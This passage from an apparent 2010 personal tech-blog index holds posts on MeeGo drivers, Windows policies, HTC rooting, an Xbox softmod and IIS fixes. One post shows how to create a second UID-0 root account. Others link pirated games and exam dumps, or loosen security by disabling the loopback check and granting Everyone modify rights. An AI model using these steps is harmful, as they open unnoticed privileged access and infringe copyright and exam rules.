the kernel is installed.\u003c/p\u003e\n\u003cp\u003eDownload the 32-bit package from this site and put it in your home/download dir\n\u003ca href=\"http://www.broadcom.com/support/802.11/linux_sta.php\"\u003eBroadcom.com - 802.11 Linux STA driver\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e$ cd Downloads\n$ mkdir hybrid_wl\n$ cd hybrid_wl\n$ tar xvzf /home/YOURUSERNAME/Downloads/hybrid-portsrc-x86_32-v5.60.48.36.tar.gz\n$ make clean\n$ make\u003c/p\u003e\n\u003cp\u003eYou might get a warning during the make build. Don\u0026rsquo;t worry, it won\u0026rsquo;t affect the later steps!\u003c/p\u003e\n\u003cp\u003e$ modprobe lib80211\n$ sudo insmod wl.ko\u003c/p\u003e\n\u003cp\u003eWelcome to WiFi MeeGo!\u003c/p\u003e\n\u003cp\u003eWe might want the driver to load every time we boot up MeeGo, so let\u0026rsquo;s do the following!\n$ sudo cp wl.ko /lib/modules/`uname -r`/kernel/drivers/net/wireless\n$ sudo depmod -a\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Install Meego on Dell Mini 9 with Wireless support"},{"content":"By default on Windows 2008 R2 you cannot hide Administrative tools and Network places by default. You must create custom 2 policies:\nNetwork places (This cannot be a user key, so you must restart the (client) server :( ):\nCLASS MACHINE\nCATEGORY !!Custom\nCATEGORY !!ExplorerExtras\nPOLICY !!HideNetworkInExplorer KEYNAME \u0026ldquo;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NonEnum\u0026rdquo; EXPLAIN !!HideNetworkInExplorer_Help VALUENAME \u0026ldquo;{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\u0026rdquo; VALUEON NUMERIC 1 VALUEOFF NUMERIC 0 END POLICY\nEND CATEGORY\nEND CATEGORY\n[strings] Custom=\u0026ldquo;Custom Policies\u0026rdquo; ExplorerExtras=\u0026ldquo;Windows Explorer Extra\u0026rsquo;s\u0026rdquo; HideNetworkInExplorer=\u0026ldquo;Hide Network Icon in Explorer 2008/Vista\u0026rdquo; HideNetworkInExplorer_Help=\u0026ldquo;Enable this one to hide the icon, disable or unconfigure to show it\u0026hellip;\u0026rdquo;\nIf the you cannot use the policy you can fix it in the register with the following key:\n﻿Windows Registry Editor Version 5.00\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NonEnum] \u0026ldquo;{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\u0026quot;=dword:00000001\nAdministrative tools\nCLASS USER CATEGORY \u0026ldquo;Start Menu Administrative Tools(CustomADM)\u0026rdquo; POLICY \u0026ldquo;Remove Administrative Tools from Start Menu\u0026rdquo; EXPLAIN !!ADMHelp KEYNAME Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced PART !!ADM_Configure DROPDOWNLIST REQUIRED VALUENAME \u0026ldquo;Start_AdminToolsRoot\u0026rdquo; ITEMLIST NAME !!ADMoff VALUE NUMERIC 0 DEFAULT NAME !!ADMon VALUE NUMERIC 1 END ITEMLIST END PART END POLICY END CATEGORY\n[strings] ADM_Configure=\u0026ldquo;Set the Administrative Tools to:\u0026rdquo; ADMoff=\u0026ldquo;Hidden\u0026rdquo; ADMon=\u0026ldquo;Visible\u0026rdquo;\n; explains ADMhelp=\u0026ldquo;Set Administrative Tools to be shown or hidden on the Start Menu. No need to delete the folder off your TS now! MMills - 30/03/10\u0026rdquo;\n","permalink":"https://blog.wapnet.nl/2010/09/hide-administrative-tools-and-network-places-windows-2008/","summary":"\u003cp\u003eBy default on Windows 2008 R2 you cannot hide Administrative tools and Network places by default. You must create custom 2 policies:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNetwork places\u003c/strong\u003e (This cannot be a user key, so you must restart the (client) server :( ):\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCLASS MACHINE\u003c/p\u003e\n\u003cp\u003eCATEGORY !!Custom\u003c/p\u003e\n\u003cp\u003eCATEGORY !!ExplorerExtras\u003c/p\u003e\n\u003cp\u003ePOLICY !!HideNetworkInExplorer\nKEYNAME \u0026ldquo;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NonEnum\u0026rdquo;\nEXPLAIN !!HideNetworkInExplorer_Help\nVALUENAME \u0026ldquo;{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\u0026rdquo;\nVALUEON NUMERIC 1\nVALUEOFF NUMERIC 0\nEND POLICY\u003c/p\u003e\n\u003cp\u003eEND CATEGORY\u003c/p\u003e\n\u003cp\u003eEND CATEGORY\u003c/p\u003e\n\u003cp\u003e[strings]\nCustom=\u0026ldquo;Custom Policies\u0026rdquo;\nExplorerExtras=\u0026ldquo;Windows Explorer Extra\u0026rsquo;s\u0026rdquo;\nHideNetworkInExplorer=\u0026ldquo;Hide Network Icon in Explorer 2008/Vista\u0026rdquo;\nHideNetworkInExplorer_Help=\u0026ldquo;Enable this one to hide the icon, disable or unconfigure to show it\u0026hellip;\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Hide Administrative tools and network places Windows 2008"},{"content":"This is a list of my best Android apps. You can find them all in the Android Market:\nAdvanced Task killer Albert Heijn Backgrounds Barcode Scanner Buienalarm Filemanager Hyves LauncherPro (up to 7 homescreens) ROM Manager SMS Backup and restore Sportstracker Taskmanager TVGids Twitter XDA ","permalink":"https://blog.wapnet.nl/2010/09/best-android-apps/","summary":"\u003cp\u003eThis is a list of my best Android apps. You can find them all in the Android Market:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAdvanced Task killer\u003c/li\u003e\n\u003cli\u003eAlbert Heijn\u003c/li\u003e\n\u003cli\u003eBackgrounds\u003c/li\u003e\n\u003cli\u003eBarcode Scanner\u003c/li\u003e\n\u003cli\u003eBuienalarm\u003c/li\u003e\n\u003cli\u003eFilemanager\u003c/li\u003e\n\u003cli\u003eHyves\u003c/li\u003e\n\u003cli\u003eLauncherPro (up to 7 homescreens)\u003c/li\u003e\n\u003cli\u003eROM Manager\u003c/li\u003e\n\u003cli\u003eSMS Backup and restore\u003c/li\u003e\n\u003cli\u003eSportstracker\u003c/li\u003e\n\u003cli\u003eTaskmanager\u003c/li\u003e\n\u003cli\u003eTVGids\u003c/li\u003e\n\u003cli\u003eTwitter\u003c/li\u003e\n\u003cli\u003eXDA\u003c/li\u003e\n\u003c/ol\u003e","title":"Best Android apps"},{"content":"I downloaded the Professor Layton and the Unwound Future from the pirate bay (because the game isn\u0026rsquo;t release in the netherlands yet :( ) but the game was running very slow. I use a EDGE DS Card for my backups firmware version 4.41. I downloaded the latest version from http://filetrip.net/c1530-EDGE-Series.html.\nAfter I replace the version with 1.50 everything was running smooth :)\nHappy gaming!! :)\n","permalink":"https://blog.wapnet.nl/2010/09/professor-layton-and-the-unwound-future-very-slow/","summary":"\u003cp\u003eI downloaded the Professor Layton and the Unwound Future from the \u003ca href=\"http://thepiratebay.org/torrent/5833095/Professor_Layton_and_the_Unwound_Future_US_NDS\"\u003epirate bay\u003c/a\u003e (because the game isn\u0026rsquo;t release in the netherlands yet :( ) but the game was running very slow. I use a EDGE DS Card for my backups firmware version 4.41. I downloaded the latest version from \u003ca href=\"http://filetrip.net/c1530-EDGE-Series.html\"\u003ehttp://filetrip.net/c1530-EDGE-Series.html\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eAfter I replace the version with 1.50 everything was running smooth :)\u003c/p\u003e\n\u003cp\u003eHappy gaming!! :)\u003c/p\u003e","title":"Professor Layton and the Unwound Future very slow"},{"content":"For all Nintendo DS files (and also Wii, XBOX 360, PSP, etc) check: http://filetrip.net\n","permalink":"https://blog.wapnet.nl/2010/09/nintendo-ds-firmwares/","summary":"\u003cp\u003eFor all Nintendo DS files (and also Wii, XBOX 360, PSP, etc) check: \u003ca href=\"http://filetrip.net\"\u003ehttp://filetrip.net\u003c/a\u003e\u003c/p\u003e","title":"Nintendo DS Firmware's"},{"content":"Source: http://www.ardamis.com/2009/11/20/vmware-cannot-open-the-disk-xxxxxx-vmdk-or-one-of-the-snapshot-disks-it-depends-on/\nFrom time to time, I want to copy just the minimum files for a VMware virtual machine: the two .vmdk files and the .vmx file. After moving those files to a new location or deleting a snapshot file, attempting to boot the virtual machine returns the following error message:\nCannot open the disk ‘XXXXXX.vmdk’ or one of the snapshot disks it depends on. Reason: The system cannot find the file specified.\nI’ve found that following the steps below fixes the problem and allows me to boot the virtual machine as it existed at the time of creation. DO NOT USE these steps if you need to retain any changes to the machine:\nOpen the *.vmx file in a text editor and find the line that refers to the old snapshot file, which will look something like: scsi0:0.fileName = “XXXXXX-000002.vmdk” or ide0:0.fileName = “XXXXXX-000002.vmdk”\nChange the value to the filename of the ~1kb .vmdk file (which happens to be the same as the name of the VM). For example, if your virtual machine was named “Windows XP Professional”, the line would read:\nscsi0:0.fileName = “Windows XP Professional.vmdk”\nPower on the VM. It should boot normally, but because the snapshot file is missing, the machine will boot to an earlier state.\n","permalink":"https://blog.wapnet.nl/2010/09/vmware-cannot-open-the-disk-xxxxxx-vmdk-or-one-of-the-snapshot-disks-it-depends-on/","summary":"\u003cp\u003eSource: \u003ca href=\"http://www.ardamis.com/2009/11/20/vmware-cannot-open-the-disk-xxxxxx-vmdk-or-one-of-the-snapshot-disks-it-depends-on/\"\u003ehttp://www.ardamis.com/2009/11/20/vmware-cannot-open-the-disk-xxxxxx-vmdk-or-one-of-the-snapshot-disks-it-depends-on/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFrom time to time, I want to copy just the minimum files for a VMware virtual machine: the two .vmdk files and the .vmx file. After moving those files to a new location or deleting a snapshot file, attempting to boot the virtual machine returns the following error message:\u003c/p\u003e\n\u003cp\u003eCannot open the disk ‘XXXXXX.vmdk’ or one of the snapshot disks it depends on.\nReason: The system cannot find the file specified.\u003c/p\u003e","title":"VMware “Cannot open the disk ‘XXXXXX.vmdk’ or one of the snapshot disks it depends on.”"},{"content":"Here You can find all exqam questions (RedHat, MCSA, MCSE, MCP, VCP, etc)\nhttp://www.examcollection.com/\nYou can use koovery to open the VCE exam files. You can find koovery here. Or try google.\n","permalink":"https://blog.wapnet.nl/2010/09/exam-questions-all-it-exams/","summary":"\u003cp\u003eHere You can find all exqam questions (RedHat, MCSA, MCSE, MCP, VCP, etc)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.examcollection.com/\"\u003ehttp://www.examcollection.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eYou can use koovery to open the VCE exam files. You can find koovery \u003ca href=\"http://www.esnips.com/doc/29c73d39-d048-4727-b99b-9ec3b3e3e682/koovery\"\u003ehere\u003c/a\u003e. Or try google.\u003c/p\u003e","title":"Exam questions (ALL IT Exams)"},{"content":"Today is was time for a new Wordpress skin/theme. I search the default wordpress themes but without success. Then I tried Artisteer. I used it for a Joomla theme once and it is very easy to create nice looking theme for Wordpress, Joomla and Drupal.\nIf you can work with Office 2007 and above you can create themes :)\nCheck screen:\n","permalink":"https://blog.wapnet.nl/2010/09/create-new-themes-with-artisteer/","summary":"\u003cp\u003eToday is was time for a new Wordpress skin/theme. I search the default wordpress themes but without success. Then I tried Artisteer. I used it for a Joomla theme once and it is very easy to create nice looking theme for Wordpress, Joomla and Drupal.\u003c/p\u003e\n\u003cp\u003eIf you can work with Office 2007 and above you can create themes :)\u003c/p\u003e\n\u003cp\u003eCheck screen:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://www.artisteer.com/media/p4/images/screenshot1.png\"\u003e\u003c/p\u003e","title":"Create new themes with Artisteer"},{"content":"Source: http://www.android-tutorials.org/dev/?page_id=78\nI make some small additions because the original article was not very clear at the USB installation.\nDONT USE THIS WITH HBOOT 0.83 or 0.93 SLCD DEVICES!!! OTHERWISE YOUR PHONE WILL END UP WITH A DEAD SCREEN!\nOverview\nRequirements Step 1 – downgrade (Video: Step 1 on youtube) Step 2 – root with unrevoke recovery Step 3 – repair /misc partition (Video: Step 3-4 on youtube) Step 4 – flash custom or stock rom Please follow this step-by-step tutorial to go back to HBOOT 0.80\n!!!! ROOTING / FLASHING / DOWNGRADING IS ALWAYS ON YOUR OWN RISK !!!! Attention: This method will completely wipe your phone!!!\nRequirements\nMake a NEW Goldcard (here) depending on your device (branded or not) It can be that your CID has changed so you have to make a new goldcard. You can try your existing card as well! MIRROR Download PB99IMG.zip (DE) MIRROR by Shipped-Roms MIRROR 2 MIRROR by AdamG (UK) Rename the downloaded file to PB99IMG.zip [NOT zip.zip !!!] and copy it to the root directory of your SD Card. (Just to your SD Card, NOT into any subdirectory!) Download this misc_update.zip to repair your misc partition in Step 3 and copy it to your SD card as well. Download your desired ROM (custom or stock whatever you like) and copy it to your SD Card. Don’t name it update.zip! Step 1 – downgrade (Video: Step 1 on youtube)\nShutdown your device Hold volume DOWN and press power button Wait until PB99IMG.ZIP was found and verfied. If that fails, check if you named the file the right way and it’s located in the root of your SD. Press volume UP to start the update. Wait until all steps are done. DON’T POWER OFF YOUR DEVICE! After the downgrade progress has finished press volume UP to reboot. When the phone has started mount SD card and REMOVE PB99IMG.zip Unmount SD card and continue with the next step… Step 2 – root with unrevoke recovery\nUninstall HTC Sync completely Download unrevoke recovery here Enable USB debugging on your phone (under settings \u0026gt; applications \u0026gt; developments \u0026gt;USB Debugging). Download the unrevoke recovery USB driver here Install the drivers when the phone is in debug mode Install the drivers when the phone is in boot mode (shutdown \u0026gt; press volume down \u0026gt; power button) Start unrevoke and follow the instructions If unrevoke has finished you should be in custom recovery. Step 3 – repair /misc partition (Video: Step 3-4 on youtube)\nYou are still in custom recovery mode Select ‘ install zip from sdcard‘ (Use Vol + and – to navigate and trackball) Select ‘ choose zip from sdcard‘ Select ‘ misc_update.zip‘ from SD und confirm it with yes. Maybe you have to scroll down till you can see the file! After that your /misc partition should be repaired Go Back to custom Recovery menu. Step 4 – flash custom or stock ROM\nYou are still in custom recovery mode Select ‘ install zip from sdcard‘ (Use Vol + and – to navigate and trackball) Select ‘ choose zip from sdcard‘ Select your desired ROM Zip-file from SD und confirm it with yes. Maybe you have to scroll down till you can see the file! After the flashing progress has finished use the back key and then select reboot. This may take some minutes. Congratulations. Now you have a re-rooted HTC Desire with HBOOT 0.80 ","permalink":"https://blog.wapnet.nl/2010/09/how-to-root-htc-desire-from-from-official-2-2-froyo-firmware/","summary":"\u003cp\u003eSource: \u003ca href=\"http://www.android-tutorials.org/dev/?page_id=78\"\u003ehttp://www.android-tutorials.org/dev/?page_id=78\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI make some small additions because the original article was not very clear at the USB installation.\u003c/p\u003e\n\u003cp\u003eDONT USE THIS WITH HBOOT 0.83 or 0.93 SLCD DEVICES!!!\nOTHERWISE YOUR PHONE WILL END UP WITH A DEAD SCREEN!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eOverview\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eRequirements\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStep 1 – downgrade\u003c/strong\u003e (Video: \u003ca href=\"http://www.youtube.com/watch?v=VdWt65tUBVc\"\u003eStep 1 on youtube\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStep 2 – root with unrevoke recovery\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStep 3 – repair /misc partition\u003c/strong\u003e (Video: \u003ca href=\"http://www.youtube.com/watch?v=T88G3px7Ztc\"\u003eStep 3-4 on youtube\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStep 4 – flash custom or stock rom\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ePlease follow this step-by-step tutorial to go back to HBOOT 0.80\u003c/p\u003e","title":"How to root HTC Desire from from official 2.2 Froyo firmware"},{"content":"You receive error 401.1 when you browse a Web site that uses Integrated Authentication and is hosted on IIS 5.1 or a later version\nSolution : http://support.microsoft.com/kb/896861\nMethod 1: Specify host names (Preferred method if NTLM authentication is desired) To specify the host names that are mapped to the loopback address and can connect to Web sites on your computer, follow these steps:\nSet the DisableStrictNameChecking registry entry to 1. For more information about how to do this, click the following article number to view the article in the Microsoft Knowledge Base:\n281308 Connecting to SMB share on a Windows 2000-based computer or a Windows Server 2003-based computer may not work with an alias name\nClick Start, click Run, type regedit, and then click OK.\nIn Registry Editor, locate and then click the following registry key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\nRight-click MSV1_0, point to New, and then click Multi-String Value.\nType BackConnectionHostNames, and then press ENTER.\nRight-click BackConnectionHostNames, and then click Modify.\nIn the Value data box, type the host name or the host names for the sites that are on the local computer, and then click OK.\nQuit Registry Editor, and then restart the IISAdmin service.\nor\nMethod 2: Disable the loopback check (less-recommended method) The second method is to disable the loopback check by setting the DisableLoopbackCheck registry key.\nTo set the DisableLoopbackCheck registry key, follow these steps:\nSet the DisableStrictNameChecking registry entry to 1. For more information about how to do this, click the following article number to view the article in the Microsoft Knowledge Base:\n281308 Connecting to SMB share on a Windows 2000-based computer or a Windows Server 2003-based computer may not work with an alias name\nClick Start, click Run, type regedit, and then click OK.\nIn Registry Editor, locate and then click the following registry key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\nRight-click Lsa, point to New, and then click DWORD Value.\nType DisableLoopbackCheck, and then press ENTER.\nRight-click DisableLoopbackCheck, and then click Modify.\nIn the Value data box, type 1, and then click OK.\nQuit Registry Editor, and then restart your computer.\n","permalink":"https://blog.wapnet.nl/2010/08/wss-sharepoint-cannot-access-site-from-local-server/","summary":"\u003cp\u003eYou receive error 401.1 when you browse a Web site that uses Integrated Authentication and is hosted on IIS 5.1 or a later version\u003c/p\u003e\n\u003cp\u003eSolution : \u003ca href=\"http://support.microsoft.com/kb/896861\"\u003ehttp://support.microsoft.com/kb/896861\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"method-1-specify-host-names-preferred-method-if-ntlm-authentication-is-desired\"\u003eMethod 1: Specify host names (Preferred method if NTLM authentication is desired)\u003c/h3\u003e\n\u003cp\u003eTo specify the host names that are mapped to the loopback address and can connect to Web sites on your computer, follow these steps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eSet the DisableStrictNameChecking registry entry to 1. For more information about how to do this, click the following article number to view the article in the Microsoft Knowledge Base:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://support.microsoft.com/kb/281308\"\u003e281308\u003c/a\u003e Connecting to SMB share on a Windows 2000-based computer or a Windows Server 2003-based computer may not work with an alias name\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClick \u003cstrong\u003eStart\u003c/strong\u003e, click \u003cstrong\u003eRun\u003c/strong\u003e, type regedit, and then click \u003cstrong\u003eOK\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn Registry Editor, locate and then click the following registry key:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRight-click \u003cstrong\u003eMSV1_0\u003c/strong\u003e, point to \u003cstrong\u003eNew\u003c/strong\u003e, and then click \u003cstrong\u003eMulti-String Value\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eType BackConnectionHostNames, and then press ENTER.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRight-click \u003cstrong\u003eBackConnectionHostNames\u003c/strong\u003e, and then click \u003cstrong\u003eModify\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the \u003cstrong\u003eValue data\u003c/strong\u003e box, type the host name or the host names for the sites that are on the local computer, and then click \u003cstrong\u003eOK\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eQuit Registry Editor, and then restart the IISAdmin service.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"WSS / Sharepoint Cannot access site from local server"},{"content":"When you install Officescan 10 on a Windows 2008 R2 server you get 2 errors:\nWhen you login to the webconsole you get the error: Your OfficeScan Session has timed out. Please log in again When you use the remote installerr you get the error: Incorrect parameter in the initialization file You can fix this problem by change the NTFS rights (Everyone/modify) on the maps.\nC:\\Program Files (x86)\\Trend Micro\\OfficeScan\\PCCSRV\\TEMP C:\\Program Files (x86)\\Trend Micro\\OfficeScan\\PCCSRV\\Web_OSCE\\Web_console\nPlease TrendMicro fix your installer!\n","permalink":"https://blog.wapnet.nl/2010/07/trendmicro-officescan-10-on-windows-2008-r2/","summary":"\u003cp\u003eWhen you install Officescan 10 on a Windows 2008 R2 server you get 2 errors:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWhen you login to the webconsole you get the error: Your OfficeScan Session has timed out. Please log in again\u003c/li\u003e\n\u003cli\u003eWhen you use the remote installerr you get the error: Incorrect parameter in the initialization file\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eYou can fix this problem by change the NTFS rights (Everyone/modify) on the maps.\u003c/p\u003e\n\u003cp\u003eC:\\Program Files (x86)\\Trend Micro\\OfficeScan\\PCCSRV\\TEMP\nC:\\Program Files (x86)\\Trend Micro\\OfficeScan\\PCCSRV\\Web_OSCE\\Web_console\u003c/p\u003e","title":"TrendMicro Officescan 10 on Windows 2008 R2"},{"content":"Sometimes you can\u0026rsquo;t give someone the root password but you he/she must have root access. You can follow this steps to create a additional root account: Add a new user:\n# useradd newuser\nSet a password for the new user\n# passwd newuser\nOnce done, edit the \u0026lsquo;passwd\u0026rsquo; file\n# nano /etc/passwd\nset the UID:GUD bits to 0:0. Say for example the new user is \u0026rsquo;newuser\u0026rsquo;, the line should look like\nnewuser:x:0:0::/home/newuser:/bin/bash ﻿\n","permalink":"https://blog.wapnet.nl/2010/07/create-a-second-root-account/","summary":"\u003cp\u003eSometimes you can\u0026rsquo;t give someone the root password but you he/she must have root access. You can follow this steps to create a additional root account:\nAdd a new user:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e# useradd newuser\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSet a password for the new user\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e# passwd newuser\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eOnce done, edit the \u0026lsquo;passwd\u0026rsquo; file\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e# nano /etc/passwd\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eset the UID:GUD bits to 0:0. Say for example the new user is \u0026rsquo;newuser\u0026rsquo;, the line should look like\u003c/p\u003e","title":"Create a second root account"},{"content":"The nice thing from this custom SVN repo installer is the XBOX Skin option. This will install the skins with an Textures.xpr file so it save a lot of memory :)\nExtract to the SVN Repo Installer (from this zip) to: E/XBMC/plugins/programs/\nGo to programs from the XBMC menu and run the script.\nTip: add the SVN Repo Installer to your favorites and run it from there to save memory.\nSource: http://code.google.com/p/xbmc-xbox-skins/\n","permalink":"https://blog.wapnet.nl/2010/04/xbox-compatible-svn-repo-intaller/","summary":"\u003cp\u003eThe nice thing from this custom SVN repo installer is the XBOX Skin option. This will install the skins with an Textures.xpr file so it save a lot of memory :)\u003c/p\u003e\n\u003cp\u003eExtract to the SVN Repo Installer (from this \u003ca href=\"/wp-content/uploads/2010/04/programs.zip\"\u003ezip\u003c/a\u003e) to: E/XBMC/plugins/programs/\u003c/p\u003e\n\u003cp\u003eGo to programs from the XBMC menu and run the script.\u003c/p\u003e\n\u003cp\u003eTip: add the SVN Repo Installer to your favorites and run it from there to save memory.\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"http://code.google.com/p/xbmc-xbox-skins/\"\u003ehttp://code.google.com/p/xbmc-xbox-skins/\u003c/a\u003e\u003c/p\u003e","title":"XBOX Compatible SVN Repo Intaller"},{"content":"What do you need?\nThis ISO (Custom XBOX HD Maker) Auto installer deluxe (4.5 or higher) (Download: http://aideluxe.com) Computer with an IDE connection CD Burner Screwdriver with a couple of tork plugs Second-hand XBOX1 with remote (http://marktplaats.nl max €40) XBOX1 component cable (http://bol.com €6, free shipping coupon @ http://retailmenot.com) First download and burn the XBOX HD Maker and Auto installer Deluxe to a CD or DVD.\nThen disconnect al the IDE cables except the IDE CD player. Put the XBOX HD Maker CD in the computer. Start the pc and before the BIOS recognize the harddisk press the pause key. Now the boot process is on pause :-)\nNow remove the rubber feeds under the xbox. Then remove all the six tork screws (2 screws are under a sticker). Remove the disk bay (screw are under the IDE cable) and remove the 4 disk screws.\nPull out the IDE cable from your XBOX DVD player. When you start the XBOX now you see a red light is blinking. This is gooood ;-)\nNow you must connect a video/scart cable (a tv is not necessary but without the cable the xbox cannot start) and power on the XBOX, let the red light blink 3 times and then put the IDE cable from the XBOX hard disk as fast as possible. Now the disk is unlocked so we can flash that XBOX FATX DISK.\nConnect the IDE cable from the computer to the disk (primary master is the best, otherwise you can use the secondary master). Then press on the spacebar to continue the boot process and the BIOS must recognize the XBOX disk.\nThe pc must boot from CD and start the XBOX HD Maker Linux Distribution. Follow the steps on the screen. You must wipe the disk completely and rebuild it and create a new key (option 6 or 7)\nNow you can connect the newly build disk to the XBOX and connect the CD player again. Connect the scart to your tv and boot the XBOX from the auto installed deluxe (AID) CD.\nFollow the steps on screen, first make a MS Backup, so AID can copy all the necessary files to the XBOX, then choose the softmod option with virtual C drive. Choose XBMC as the default dashboard.\nAfter the installation you can put out the AID CD and boot the XBOX. Now XBMC is started directly.\nTo make the XBOX 720P compatible (1080 is also possible but the poorly 733Mhz processor doesn’t like that kind of high resolutions :P ) connect the component cable to the XBOX. Then run the “Enigmah Video Mode Switcher”. You can launch this from the XBMC \u0026gt; Programs (if you don’t have programs you can enable this in the option screen). Set the video mode from PAL60 to NSTC. Then reboot the XBOX and start the MS dashboard (easiest way is from file explorer default.xbe on the C:\\). Now go to video and enable the 420 and 720 HD resolutions.\nThat’s it :)\nPs. The embedded AID XBOX media center is a little bit old. You can download a new build from: http://www.sshcs.com/xbmc/ or http://t3ch.yi.se/. Ps2. The next time I i\u0026rsquo;ll softmod a XBOX1 i will create a youtube video.\n﻿\n","permalink":"https://blog.wapnet.nl/2010/04/howto-build-the-cheapest-xbmc-high-definition-media-center-ever-a-k-a-xbox1-softmod/","summary":"\u003cp\u003eWhat do you need?\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"/upload/XBOXHDMAKER.rar\"\u003eThis ISO\u003c/a\u003e (Custom XBOX HD Maker)\u003c/li\u003e\n\u003cli\u003eAuto installer deluxe (4.5 or higher) (Download: \u003ca href=\"http://aideluxe.com/\"\u003ehttp://aideluxe.com\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eComputer with an IDE connection\u003c/li\u003e\n\u003cli\u003eCD Burner\u003c/li\u003e\n\u003cli\u003eScrewdriver with a couple of tork plugs\u003c/li\u003e\n\u003cli\u003eSecond-hand XBOX1 \u003cstrong\u003ewith remote\u003c/strong\u003e (\u003ca href=\"http://marktplaats.nl/\"\u003ehttp://marktplaats.nl\u003c/a\u003e max €40)\u003c/li\u003e\n\u003cli\u003eXBOX1 component cable (\u003ca href=\"http://bol.com/\"\u003ehttp://bol.com\u003c/a\u003e €6, free shipping coupon @ \u003ca href=\"http://retailmenot.com/\"\u003ehttp://retailmenot.com\u003c/a\u003e)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eFirst download and burn the XBOX HD Maker and Auto installer Deluxe to a CD or DVD.\u003c/p\u003e\n\u003cp\u003eThen disconnect al the  IDE cables except the IDE CD player. Put the XBOX HD Maker CD in the computer. Start the pc and before the BIOS recognize the harddisk press the pause key. Now the boot process is on pause :-)\u003c/p\u003e","title":"Howto: Build the cheapest XBMC High Definition media center ever a.k.a. XBOX1 Softmod"},{"content":"There are alot of Live Linux dstributions. There is an very easy way to run a live distro from USB. Check: http://unetbootin.sourceforge.net/ Distributions with Built-in Support Link to this section UNetbootin has built-in support for downloading and installing the following distributions:\nUbuntu (and official derivatives)\n6.06 LTS 6.10 7.04 7.10 8.04 LTS 8.10 9.04 Daily CD Images Debian\nStable/Etch Testing/Lenny Unstable/Sid Linux Mint\n3.1 4.0 5- r1 6 openSUSE\n10.2 10.3 11.0 11.1 Factory Arch Linux\n2007.08 Damn Small Linux\n4.4 SliTaz\nStable Cooking Puppy Linux\n4.00 gNewSense\ndeltah-2.1 FreeBSD\n6.3 7.0 NetBSD\n4.0 Fedora\n7 8 9 10 Rawhide PCLinuxOS\n2007 2008 Sabayon Linux\n4-LiteMCE Gentoo\n2007.0 2008.0 MEPIS\nSimplyMEPIS 8 AntiX 8 Zenwalk\n5.2 Slax\n6 Dreamlinux\n3.2 Elive\nDevelopment CentOS\n4 5 Mandriva\n2007.1 2008.0 2008.1 FaunOS\n0.5.4 Frugalware Linux\nStable Testing Current xPUD\n0.8.9 ","permalink":"https://blog.wapnet.nl/2010/02/boot-linux-live-distro-from-usb/","summary":"\u003cp\u003eThere are alot of Live Linux dstributions. There is an very easy way to run a live distro from USB. Check: \u003ca href=\"http://unetbootin.sourceforge.net/\"\u003ehttp://unetbootin.sourceforge.net/\u003c/a\u003e  \u003ca href=\"/wp-content/uploads/2010/02/screenshot.jpg\"\u003e\u003cimg loading=\"lazy\" 